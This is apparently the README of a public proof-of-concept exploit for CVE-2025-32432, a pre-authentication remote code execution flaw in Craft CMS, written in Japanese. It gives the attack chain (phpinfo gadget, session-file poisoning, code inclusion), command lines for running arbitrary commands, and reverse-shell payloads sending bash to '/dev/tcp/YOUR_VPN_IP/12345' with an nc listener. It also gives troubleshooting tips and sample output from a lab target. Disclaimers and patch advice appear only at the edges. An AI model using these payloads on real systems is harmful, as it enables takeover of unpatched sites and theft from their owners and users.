
許可されたテストのみ。 このリポジトリは、管理されたラボ環境、Hack The Box などのCTFプラットフォーム、内部検証、および防御的検証を目的としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して実行しないでください。
このプロジェクトには、認証前のCraft CMSリモートコード実行の問題である CVE-2025-32432 のシングルターゲット概念実証(PoC)が含まれています。
このPoCは2つの段階で動作します:
phpinfo() ガジェットを使用。このスクリプトは、一部の公開PoCに見られる一般的な偽陰性(false-negative)問題を回避するように設計されています。通常の画像変換リクエストは 404 を返すことがありますが、同じエンドポイントと assetId は実際のガジェットペイロードを使用した場合には依然として機能します。
公式のCraft CMSアドバイザリおよび公開アドバイザリデータベースによると、影響を受ける範囲は次のとおりです:
| Craft CMS ブランチ | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
Craft CMSのデプロイメントを管理している場合は、直ちに修正リリースへアップグレードしてください。
このPoCは次のフローに従います:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
重要な実装の詳細:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout オプションが含まれています。craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3依存関係をインストール:
python3 -m pip install requests urllib3
これはphpinfoガジェットのみを使用して脆弱性を確認します。
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
成功時に期待される出力:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
phpinfoレスポンスは次のファイルに保存されます:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
成功時の出力例:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
動作する値がすでに分かっている場合に使用します。
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
一部のターゲットは x.php などのカスタムフロントコントローラを使用する場合があります。
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
これにより、次のようなルートがテストされます:
http://target.local/x.php?p=admin/actions/assets/generate-transform
先にリスナーを起動します:
rlwrap -cAr nc -lvnp 12345
次に、リバースシェルコマンドを指定してPoCを実行します:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 はリクエストタイムアウトを無効にします。リバースシェルはHTTPリクエストを開いたままにすることが多いため、これは便利です。
分離型バリアント:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
assetId 0 -> HTTP 404検出を通常の変換リクエストに依存しないでください。一部のターゲットは通常の変換ボディに対して 404 を返しますが、それでもガジェットペイロードは実行されます。
このPoCは、phpinfoガジェット自体を使用して有効な組み合わせを検出します。
セッションディレクトリを手動で指定してみてください:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
次に試す:
--session-dir /var/lib/php/session
または:
--session-dir /tmp
次のいずれかの方法を使用してください:
--timeout 0
setsid または nohup を使用した分離ペイロードを使用する。
コールバックIPが正しいことを確認する:
ip -br a | grep tun
リバースシェルが正常に接続された場合、これは正常な動作である可能性があります。タイムアウトを失敗と判断する前にリスナーを確認してください。
まずより単純なコマンドを試してください:
-c "id"
-c "whoami"
-c "pwd"
単純なコマンドは機能するが複雑なコマンドが失敗する場合は、コマンドを慎重に引用符で囲むか、分離シェルペイロードを使用してください。
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Craft CMSインスタンスを管理している場合:
3.9.15、4.14.15、5.6.17 以降へアップグレードする。.env のシークレットとデータベース認証情報をローテーションする。このプロジェクトは、教育、研究、ラボ、および防御的検証の目的でのみ提供されます。作者は誤用について責任を負いません。所有しているシステム、または明示的な書面による評価許可を得たシステムのみをテストしてください。
| オプション | 説明 | デフォルト |
|---|
-u, --url | ターゲットのベースURL | 必須 |
-c, --cmd | phpinfo確認後に実行する任意のコマンド | なし |
--front | フロントコントローラのファイル名 | index.php |
-s, --scan-max | phpinfoガジェットでテストする最大 assetId | 50 |
-a, --asset | 動作確認済みのアセットID | なし |
--endpoint | 動作確認済みのgenerate-transformエンドポイント | なし |
--session-dir | PHPセッションディレクトリ。複数回指定可能 | 組み込みリスト |
--timeout | コマンドトリガーのリクエストタイムアウト。タイムアウトなしの場合は 0 を使用 | 20 |